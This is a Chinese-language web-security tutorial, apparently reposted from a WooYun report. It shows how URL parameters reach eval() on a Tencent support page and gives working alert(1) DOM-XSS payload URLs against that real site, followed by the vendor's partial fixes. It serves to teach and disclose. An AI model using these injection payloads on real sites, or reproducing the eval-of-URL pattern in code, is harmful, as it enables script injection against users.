# 10\. Dom Xss 進階 [邂逅 eval]
> 來源:[10\. Dom Xss 進階 \[邂逅 eval\]](http://www.wooyun.org/bugs/wooyun-2010-016197)
## 簡要描述
前面的教程,說到了顯式輸出和隱式輸出。但是不論怎么樣,因為最終 javascript 都會通過 document.write 或 innerHTML 將內 容輸出到網頁中,所以我們總是有辦法看到輸出到哪里。 但是有時候,我們的輸出,最終并沒有流向 innerHTML 或 document.write, 而是與 eval 發生了邂逅,我們該怎么挖掘并利用呢?
## 詳細說明
1\. 我們直接上例子。
```
http://kf.qq.com/search_app.shtml?key=aaaaa
```
和前面的不同之處,這次我們搜索源代碼和調試工具都看不到任何東西。

2\. 這個時候,我們可以看看 Console,看看有沒有其它有用的東西~~
一般來說,默認情況下,是不會有問題的。我們可以給參數加一些特殊符號。
這里我比較習慣用`\`,因為這玩意比較好使。當然你也可以用其它比較特殊的符號,比如雙引號,單引號,只是被過濾掉的幾率比較大。
這個時候,我們看看 Console 里面,多出了一條錯誤。

我們可以點右側,直接定位到錯誤代碼。

3\. 點進去后,可以看到是哪個地方出錯了。

我們來看看這段代碼:
```
var getarg = function()
{
var url = window.location.href;
var allargs = url.split("?")[1];
if (allargs!=null && allargs.indexOf("=")>0)
{
var args = allargs.split("&");
for(var i=0; i<args.length; i++)
{
var arg = args[i].split("=");
eval('this.'+arg[0]+'="'+arg[1]+'";');
}
}
};
```
和上一節教程類似,這段代碼,實際上也是一個獲取地址欄參數的代碼。
比如,地址欄是 `key=aaaa;` 那么 `arg[0]` 就是字符串`'key'`, `arg[1]` 就是字符串 `'aaaa'`; 那么 eval 這句就是執行的 `eval('this.key="aaaa";')`

這樣一來 , `this.key="aaaa";`這句就被執行了。
4\. 如果這里我們把 key 換個寫法呢?
```
this.key="aaaa"; this.key;alert(1);//="aaaa";
```
如下圖:

那么是不是將會執行我們的 `alert(1);`呢?
5\. 根據上面內容,我們可以構造代碼。
```
http://kf.qq.com/search_app.shtml?key;alert(1);//=aaaa
```
HOHO~,如我們所愿的彈出了。

6\. 不知道看完上面的,有沒有娃注意到,后面的 aaaa 不是也可以構造嗎?
```
this.key="aaaa";
```
換為
```
this.key="aaa";alert(1);//";
```
確實是如此 :)
```
http://kf.qq.com/search_app.shtml?key=aaa";alert(1);//
```
這個在 IE 下一樣是可以的。
但是這樣在 chrome 下卻不行。 原因其實上面一節教程也提到過。 chrome 會自動對`"`, `>`, `<` 進行轉換。
因而 `this.key="aaa";alert(1);//";` 會變成 `this.key="aaa%22;alert(1);//";` 從而失效。
7.上面就是本篇教程了,我們再來看看題外話。 其實以上問題,不是單獨存在的。在另外一個頁面也是存在的。 更多內容,參見本篇漏洞修復。
## 修復方案
參照你們已經修復的類似文件即可。
```
http://kf.qq.com/wsearch.shtml
```
的
```
http://kf.qq.com/js/wsearch.js
```
本來上面這個文件也是存在漏洞的,估計這個位置已經被人報告給騰訊了,因而騰訊加了一次防御。我們看看騰訊的防御措施。
```
var getarg = function(){
.... 省略相同部分...
eval('this.' + arg[0] + '="' + HtmlAttributeEncode(arg[1]) + '";');
.... 省略相同部分...
}
```
也就是說,騰訊這里對后面的 `arg[1]` 進行了過濾。 接著,這個問題又被再次報告了,因而前些時候,騰訊又進一步做了修復。
```
var getarg = function(){
.... 省略相同部分...
if (arg[0] != null && arg[1] != null && (arg[0] == 'page' || arg[0] == 'count' || arg[0] == 'tag'
|| arg[0] == 'key' || arg[0] == 'total') )
{
eval('this.' + arg[0] + '="' + HtmlAttributeEncode(arg[1]) + '";');
}
.... 省略相同部分...
}
```
這一次,騰訊對 arg[0]進行了判斷。
哈,補了東墻,補西墻。 不過呢?補了這個 wsearch.js 文件,還有我們現在分析的這個(http://kf.qq.com/js/search_app.js](http://kf.qq.com/js/search_app.js) 文件。
- 1. 什么都沒過濾的入門情況
- 2. 輸出在&lt;script&gt;&lt;/script&gt;之間的情況
- 3. 輸出在 HTML 屬性里的情況
- 4. 寬字節復仇記 [QQ 郵箱基本通用]
- 5. 反斜線復仇記
- 6. 換行符復仇記
- 7. 寬字節、反斜線與換行符一起復仇記
- 8. Dom Xss 入門 [顯式輸出]
- 9. Dom Xss 入門 [隱式輸出]
- 10. Dom Xss 進階 [邂逅 eval]
- 11. Dom Xss 進階 [善變 iframe]
- 12. Dom Xss 進階 [路徑 con]
- 13. Dom Xss 實例 [Discuz X2.5]
- 14. Flash Xss 入門 [navigateToURL]
- 15. Flash Xss 進階 [ExternalInterface.call 第一個參數]
- 16. Flash Xss 進階 [ExternalInterface.call 第二個參數]
- 17. XSS 過濾器繞過 [通用繞過]
- 18. XSS 過濾器繞過 [猥瑣繞過]
- 19. 存儲型 XSS 入門 [什么都沒過濾的情況]
- 20. 存儲型 XSS 入門 [套現繞過富文本]
- 21. 存儲型 XSS 進階 [猜測規則,利用 Flash addCallback 構造 XSS]